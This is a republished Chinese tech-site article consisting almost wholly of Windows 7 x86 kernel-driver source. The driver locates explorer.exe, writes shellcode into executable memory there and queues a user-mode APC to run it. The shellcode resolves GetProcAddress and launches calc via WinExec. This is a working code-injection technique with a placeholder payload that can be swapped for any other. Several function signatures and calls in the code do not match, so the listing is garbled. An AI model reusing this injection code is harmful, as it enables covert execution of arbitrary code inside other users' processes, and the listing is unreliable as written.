设为首页 - 加入收藏 ASP站长网(Aspzz.Cn)- 科技、建站、经验、云计算、5G、大数据,站长网!
热搜: 创业者 手机 数据
当前位置: 首页 > 服务器 > 系统 > 正文

APC Injection of Windows 7 x86 in R0(2)

发布时间:2021-01-04 18:21 所属栏目:52 来源:网络整理
导读:source.c #include "Header.h"NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDrvObj,IN PUNICODE_STRING pRegStr){ UNREFERENCED_PARAMETER(pRegStr); NTSTATUS ntStatus = STATUS_SUCCESS; DbgPrint("[+] DriverEntry

source.c

#include "Header.h"

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDrvObj,IN PUNICODE_STRING pRegStr)
{
    UNREFERENCED_PARAMETER(pRegStr);

    NTSTATUS ntStatus = STATUS_SUCCESS;

    DbgPrint("[+] DriverEntry !\n");

    pDrvObj->DriverUnload = DriverUnload;

    HANDLE hThread;
    ntStatus = PsCreateSystemThread(
        &hThread,NULL,NtCurrentProcess(),ThreadFunc,NULL
        );
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrint("[-] PsCreateSystemThread Failed!\n");
    }
    return ntStatus;
}

VOID DriverUnload(IN PDRIVER_OBJECT pDrvObj)
{
    UNREFERENCED_PARAMETER(pDrvObj);
    DbgPrint("[+] DriverUnload!\n");
}

VOID ThreadFunc(IN PVOID pParam)
{
    UNREFERENCED_PARAMETER(pParam);

    BOOLEAN bTrue = TRUE;
    NTSTATUS ntStatus = STATUS_SUCCESS;
    POINTER tarEprocess = 0,tarEthread = 0;
    HANDLE hProcess = NULL;
    PKEVENT pKevent = NULL;
    SIZE_T shellcodeSize = 0;
    PVOID addrAllocMem = NULL;
    KAPC_STATE ApcState;
    
    while (bTrue) // This while is a program skill learn form MSDN
    {
        //Find a process's EPROCESS which can be inserted APC
        if (FindTargetEProcessAndEthread(&tarEprocess,&tarEthread) != TRUE)
        {
            DbgPrint("[-] FindTargetEProcessAndEthread Failed!\n");
            break;
        }

        //Alloc mem and copy code in target process
        shellcodeSize = (ULONG)(UserExec_end)-(ULONG)(UserExec);
        DbgPrint("[+] User Thread Shellcode Size: %d bytes\n",shellcodeSize);

        ntStatus = ObOpenObjectByPointer((PVOID)tarEprocess,OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE,GENERIC_ALL,*PsProcessType,KernelMode,&hProcess
            );
        if (!NT_SUCCESS(ntStatus))
        {
            DbgPrint("[-] ObOpenObjectByPointer Failed!\n");
            break;
        }

        ntStatus = ZwAllocateVirtualMemory(hProcess,&addrAllocMem,&shellcodeSize,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
        
        if (!NT_SUCCESS(ntStatus))
        {
            DbgPrint("[-] ZwAllocateVirtualMemory Failed!\n");
            break;
        }

        KeStackAttachProcess((PEPROCESS)tarEprocess,&ApcState);

        RtlCopyMemory(addrAllocMem,(PVOID)((ULONG)UserExec),shellcodeSize);

        KeUnstackDetachProcess(&ApcState);

        //Create KEVENT
        pKevent = ExAllocatePool(NonPagedPool,sizeof(KEVENT));
        if (!pKevent)
        {
            DbgPrint(("[-] ExAllocatePool(pKevent) Failed!\n"));
            break;
        }
        KeInitializeEvent(pKevent,NotificationEvent,FALSE);

        //Insert APC in target process
        if (InsertApc(tarEthread,(ULONG)addrAllocMem,pKevent))
        {
            DbgPrint("[+] Insert Apc Successfully!\n");
            KeWaitForSingleObject(pKevent,Executive,FALSE,NULL);
        }
        else
        {
            DbgPrint("[-] Insert Apc Failed!\n");
        }   
        break;
    } 

    //Clear
    if (pKevent)
    {
        ExFreePool(pKevent);
    }
    if (hProcess)
    {
        if (addrAllocMem)
        {
            LARGE_INTEGER liTime;
            // Negative value means relative time,not absolute
            liTime =RtlConvertLongToLargeInteger(-(LONG)1000*10000*10);

            //Callers of KeDelayExecutionThread must be running at IRQL <= APC_LEVEL.
            DbgPrint("KeGetCurrentIrql = %d\n",KeGetCurrentIrql());
            KeDelayExecutionThread(KernelMode,TRUE,&liTime);

            //Maybe the user mode shellcode executed,otherewise free the shellcode memory will crash the explorer.exe
            ZwFreeVirtualMemory(hProcess,MEM_RELEASE);
        }
        ZwClose(hProcess);
    }
    DbgPrint("[+] Thread End!\n");
    //Terminate the system thread
    PsTerminateSystemThread(STATUS_SUCCESS);
}

BOOLEAN InsertApc(POINTER tarEthread,PKEVENT pKevent )
{
    PKAPC pKapc;
    
    pKapc = ExAllocatePool(NonPagedPool,sizeof(KAPC));
    if (pKapc == NULL)
    {
        DbgPrint("[-] ExAllocatePool(NonPagedPool,sizeof(KAPC)) Failed!\n");
        return FALSE;
    }

    //Initialize APC 
    KeInitializeApc(pKapc,(PKTHREAD)tarEthread,OriginalApcEnvironment,(PVOID)(ULONG)KernelApcCallback,(PVOID)addrAllocMem,UserMode,NULL);
    //Set the _ETHREAD._KTHREAD._KAPC_STATE.UserApcPending
    DbgPrint("[+] xxx %x\n",tarEthread);
    *((PUCHAR)(tarEthread + USERAPCPENDING_OFFSET)) = 1;
    if (!KeInsertQueueApc(pKapc,pKevent,(PVOID)tarEthread,0))
    {
        //Reset the _ETHREAD._KTHREAD._KAPC_STATE.UserApcPending
        *((PUCHAR)(tarEthread + USERAPCPENDING_OFFSET)) = 0;
        ExFreePool(pKapc);
        DbgPrint("[-] KeInsertQueueApc Failed!\n");
        return FALSE;
    }
    return TRUE;
}

VOID KernelApcCallback(PKAPC Apc,PVOID* SystemArg2)
{
    UNREFERENCED_PARAMETER(NormalRoutine);
    UNREFERENCED_PARAMETER(NormalContext);
    UNREFERENCED_PARAMETER(SystemArg2);

    PKEVENT pKevent;
    POINTER tarEthread;
    pKevent = (PKEVENT)*SystemArg1;
    tarEthread = (POINTER)*SystemArg2;
    if (pKevent)
    {
        //Reset the _ETHREAD._KTHREAD._KAPC_STATE.UserApcPending    
        *((PUCHAR)(tarEthread + USERAPCPENDING_OFFSET)) = 0;
        KeSetEvent(pKevent,IO_NO_INCREMENT,FALSE);
    }

    ExFreePool(Apc);
    
}

BOOLEAN FindTargetEProcessAndEthread(POINTER* ptarEprocess,POINTER* ptarEthread)
{
    
    POINTER beginEprocess,curEprocess,beginEthread,curEthread;
    BOOLEAN bRet = FALSE;

    beginEprocess = (POINTER)PsGetCurrentProcess();
    curEprocess = beginEprocess;

    //Travser backwards from the current eprocess to find the explorer's eprocess
    do
    {
        //eprocess.ObjectTable == NULL means it is a dead process
        if (*((POINTER*)(curEprocess + OBJECTTABLE_OFFSET)) != 0 && 0 == _stricmp(((char*)(curEprocess + IMAGEFILENAME_OFFSET)),"explorer.exe"))
        {
            *ptarEprocess = curEprocess;
            bRet = TRUE;
            break;
        }
        curEprocess = *((POINTER*)(curEprocess + ACTIVEPROCESSLINKS_OFFSET)) - ACTIVEPROCESSLINKS_OFFSET;

    } while (curEprocess != beginEprocess);
    //Travers thread
    if (bRet)
    {
        bRet = FALSE;
        beginEthread = *((POINTER*)(*ptarEprocess + THREADLISTHEAD_OFFSET)) - THREADLISTENTRY_OFFSET;
        curEthread = beginEthread;
        do
        {
            if (*((POINTER*)(curEthread + TEB_OFFSET)) != 0)
            {
                *ptarEthread = curEthread;
                bRet = TRUE;
                break;
            }
            curEthread = *((POINTER*)(beginEthread + THREADLISTENTRY_OFFSET)) - THREADLISTENTRY_OFFSET;
        } while (curEthread!=beginEthread);
    }
    return bRet;
}

__declspec(naked) void UserExec()
{
    __asm
    {
            push        ebp
            mov         ebp,esp
            sub         esp,150h
            pushad
            
            
            mov eax,fs:[0x30];// peb
            mov ebx,[eax + 0xc]; //peb->Ldr
            mov esi,[ebx + 0x14];//peb->Ldr.Inmemorder
            lodsd;//eax="ntdll.dll"
            xchg eax,esi;
            lodsd;//eax="kernel32.dll"
            mov ebx,[eax + 0x10]; //ebx = base address

            mov edx,[ebx + 0x3c]; //DOS->e_ifanew
            add edx,ebx; // PE header
            mov edx,[edx + 0x78];// edx = offset of EAT
            add edx,ebx;// EAT

            mov esi,[edx + 0x20]; //Address of Names(RVA)
            add esi,ebx;//Name Table
            xor ecx,ecx;//index=0

        Find_index:
            inc ecx;
            lodsd;//mov eax,[esi] RVA
            add eax,ebx;
            cmp dword ptr[eax],0x50746547;//PteG
            jnz Find_index;
            cmp dword ptr[eax + 0x4],0x41636f72;//Acor
            jnz Find_index;
            cmp dword ptr[eax + 0x8],0x65726464; //erdd
            jnz Find_index;
            //get!
            mov esi,[edx + 0x24];//AddressOfNameOrdinals RVA
            add esi,ebx;//Ord Table
            mov cx,[esi + ecx * 2];//cx = realindex

            mov esi,[edx + 0x1c];//AddressOfFunction RVA
            add esi,ebx;//
            dec ecx;// indx-1
            mov edx,[esi + ecx * 4];
            add edx,ebx;//GetProcAddress real address


            push 0x00636578;//xec
            push 0x456E6957;//WinE
            push esp;
            push ebx;
            call edx;
            add esp,8
            push 0;
            push 0x636c6163;//calc
            mov edi,esp;
            push 0;
            push edi;
            call eax;
            add esp,8
            
            
            popad
            mov         esp,ebp
            pop         ebp
            ret
    }
}

__declspec(naked) void UserExec_end(VOID)
{

}

Conclusion

(编辑:ASP站长网)

网友评论
推荐文章
    热点阅读